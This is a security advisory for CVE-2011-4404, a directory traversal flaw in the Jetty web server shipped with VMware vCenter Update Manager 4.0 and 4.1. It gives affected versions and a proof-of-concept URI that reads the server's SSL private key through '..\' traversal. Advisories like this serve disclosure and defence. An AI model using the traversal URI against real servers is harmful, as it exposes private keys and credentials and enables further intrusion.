Jetty Web Server Directory Traversal Vulnerability

BID:50723

Info

Jetty Web Server Directory Traversal Vulnerability

Bugtraq ID: 50723
Class: Input Validation Error
CVE: CVE-2011-4404
Remote: Yes
Local: No
Published: Nov 18 2011 12:00AM
Updated: Nov 21 2011 12:36PM
Credit: Alexey Sintsov
Vulnerable: VMWare Vcenter Update Manager 4.1
VMWare Vcenter Update Manager 4.0
Jetty Jetty Web Server 0
Not Vulnerable: VMWare vCenter Update Manager 4.0 Update 4 0
VMWare Vcenter Update Manager 4.1 Update 2

Discussion

Jetty Web Server Directory Traversal Vulnerability

Jetty Web Server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary files within the context of the webserver. Information harvested may aid in launching further attacks.

Exploit / POC

Jetty Web Server Directory Traversal Vulnerability

An attacker can exploit this issue with a web browser.

The following example URI is available:

http://www.example.com:9084/vci/downloads/.\..\..\..\..\..\..\..\Documents and Settings\All Users\Application Data\VMware\VMware VirtualCenter\SSL\rui.key

Solution / Fix

Jetty Web Server Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Jetty Web Server Directory Traversal Vulnerability

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